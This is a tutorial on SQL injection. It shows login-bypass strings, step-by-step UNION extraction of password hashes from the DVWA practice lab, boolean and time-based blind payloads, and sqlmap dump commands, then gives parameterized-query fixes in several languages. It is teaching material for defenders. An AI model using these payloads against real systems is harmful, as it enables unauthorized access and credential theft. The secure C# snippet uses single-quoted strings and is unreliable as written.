SQL Injection: How It Works, How to Exploit It, and How to Prevent It

# Vulnerable PHP code:
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";

# Normal login:
Username: admin
Password: secret123
→ SELECT * FROM users WHERE username='admin' AND password='secret123'
→ Returns 1 row → login success

# SQLi attack — enter this as the username:
Username: admin' --
Password: anything
→ SELECT * FROM users WHERE username='admin' --' AND password='anything'
→ The -- comments out the password check!
→ Returns admin row → login bypassed!

# Even worse — login as any user:
Username: ' OR 1=1 --
Password: anything
→ SELECT * FROM users WHERE username='' OR 1=1 --'
→ 1=1 is always true → returns ALL users → logged in as first user (usually admin)

This works because the application trusts user input and puts it directly into the SQL query. The single quote (') breaks out of the string context, and -- comments out the rest of the query.

# Step 1: Find the number of columns
# Enter in the DVWA input field:
1' ORDER BY 1 --          → works
1' ORDER BY 2 --          → works
1' ORDER BY 3 --          → error! Only 2 columns.

# Step 2: Find which columns display data
1' UNION SELECT 'test1','test2' --
→ If you see 'test1' and 'test2' on the page, both columns are visible

# Step 3: Get database version and current database
1' UNION SELECT version(),database() --
→ 5.7.42-0ubuntu0.18.04.1 | dvwa

# Step 4: List all tables
1' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema='dvwa' --
→ guestbook
→ users      ← this is what we want

# Step 5: List columns in the users table
1' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users' --
→ user_id, first_name, last_name, user, password, avatar

# Step 6: Extract usernames and password hashes
1' UNION SELECT user,password FROM users --
→ admin    | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of 'password')
→ gordonb  | e99a18c428cb38d5f260853678922e03 (MD5 of 'abc123')
→ 1337     | 8d3533d75ae2c3966d7e0d4fcc69216b (MD5 of 'charley')

In 6 steps we went from a simple input field to extracting every username and password hash from the database.

# Boolean-based: page content changes based on true/false
1' AND 1=1 --   → normal page (true)
1' AND 1=2 --   → different page or empty (false)

# Extract database name character by character:
1' AND SUBSTRING(database(),1,1)='a' --   → false
1' AND SUBSTRING(database(),1,1)='d' --   → true! First char is 'd'
1' AND SUBSTRING(database(),1,2)='dv' --  → true! 'dv'
# Continue until: 'dvwa'

# Time-based: use SLEEP() when there's no visible difference
1' AND IF(1=1, SLEEP(5), 0) --   → page loads after 5 seconds (true)
1' AND IF(1=2, SLEEP(5), 0) --   → page loads instantly (false)

# Extract data with timing:
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --
→ 5 second delay = first character is 'd'

# Automate with sqlmap:
$ sqlmap -u "http://target.com/page?id=1" --dbs
$ sqlmap -u "http://target.com/page?id=1" -D dvwa -T users --dump

sqlmap automates the entire process — it detects injection points, determines the database type, and extracts all data. But understanding manual techniques first is essential.

# ❌ VULNERABLE — string concatenation:
# PHP:
$query = "SELECT * FROM users WHERE id = '$id'";
# Python:
cursor.execute(f"SELECT * FROM users WHERE id = '{user_id}'")
# C#:
var cmd = new SqlCommand($"SELECT * FROM users WHERE id = '{id}'");

# ✅ SECURE — parameterized queries:
# PHP (PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);

# Python:
cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))

# C#:
var cmd = new SqlCommand('SELECT * FROM users WHERE id = @id');
cmd.Parameters.AddWithValue('@id', id);

# Node.js:
db.query('SELECT * FROM users WHERE id = $1', [id])

# The parameter is NEVER part of the SQL syntax.
# Even if id = "1' OR 1=1 --", it's treated as a
# literal string value, not SQL code.

Additional defenses: input validation (is the ID an integer?), least-privilege database accounts, and Web Application Firewalls (WAFs) as a last line of defense.